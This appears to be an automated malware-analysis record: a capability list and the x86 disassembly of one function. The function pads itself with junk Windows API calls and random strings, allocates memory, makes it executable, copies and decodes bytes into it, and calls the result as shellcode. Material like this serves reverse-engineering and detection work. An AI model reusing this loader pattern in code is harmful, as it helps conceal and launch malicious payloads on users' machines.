Function at 0x401375
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate thread

Disassembly:
mov eax, 0x410058
call fcn.0041002c
mov eax, 0x3174
call fcn.00408640
mov ecx, dword [0xae2fcc]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4014c2
push 0x30
lea eax, [ebp - 0x68]
mov dword [ebp - 0x6c], edi
push edi
push eax
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push edi
push edi
push str.sedavalujux_tilekahacebufotutowugukonuxalili
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0xd80]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x28]
call fcn.004026b9
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], vtable.std::bad_alloc.0
call fcn.004026f7
push edi
push edi
call fcn.004032e1
push edi
push edi
call fcn.0040375f
push edi
call fcn.00403723
movss xmm0, dword [0x4180e4]
add esp, 0x14
cvtps2pd xmm0, xmm0
push edi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402f3d
push edi
fstp st(0)
call fcn.00403723
add esp, 0x10
mov dword [ebp - 0x20], edi
push edi
push edi
call fcn.00401e13
mov edi, eax
mov dword [ebp - 0x24], edi
and dword [ebp - 4], 0
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 4]
push edi
call fcn.00401e71
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4014b3
mov esi, dword [eax]
push eax
call fcn.0040375a
mov eax, esi
pop ecx
cmp esi, edi
jne 0x4014a4
push edi
call fcn.0040375a
pop ecx
mov ecx, dword [0xae2fcc]
xor edi, edi
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0xae30d0], eax
mov dword [0xae2fcc], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x34]
mov dword [0xae2f24], eax
push ecx
push 0x40
push dword [0xae2fcc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x2980]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x4014fd
mov ecx, dword [0xae2fcc]
mov esi, edi
test ecx, ecx
je 0x401592
mov eax, dword [0xae30d0]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0xae2f24]
mov byte [eax + esi], cl
mov ecx, dword [0xae2fcc]
cmp ecx, 0x490
jne 0x40158d
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x580]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x980]
push eax
push str.firotehiwojoxufifew
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xae2fcc]
inc esi
cmp esi, ecx
jb 0x40151a
mov esi, edi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x40162c
push str.cujobokisezuyimotamuzegosi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x980]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
lea eax, [ebp - 0x2980]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x1980]
push eax
push str.fumomotizohavibupaviheveji_lebuhonemarelenazefem_jowubelarebicolexobezosivaraj
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push edi
lea eax, [ebp - 0x2180]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
lea eax, [ebp - 0x580]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x3180]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xae2fcc]
inc esi
cmp esi, 0x38681
jl 0x401594
mov edi, dword [0xae2f24]
mov esi, ecx
shr esi, 3
test esi, esi
je 0x40167a
cmp ecx, 0x959
jne 0x401665
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401237
add edi, 8
dec esi
je 0x40167a
mov ecx, dword [0xae2fcc]
jmp 0x401648
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x40169c
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xae2f24], eax
inc esi
cmp esi, 0x674db
jl 0x40167e
push 0x7b
pop esi
cmp dword [0xae2fcc], 0x86
jne 0x4016f6
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push edi
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x1180]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec esi
jne 0x4016a8
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xae2f24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret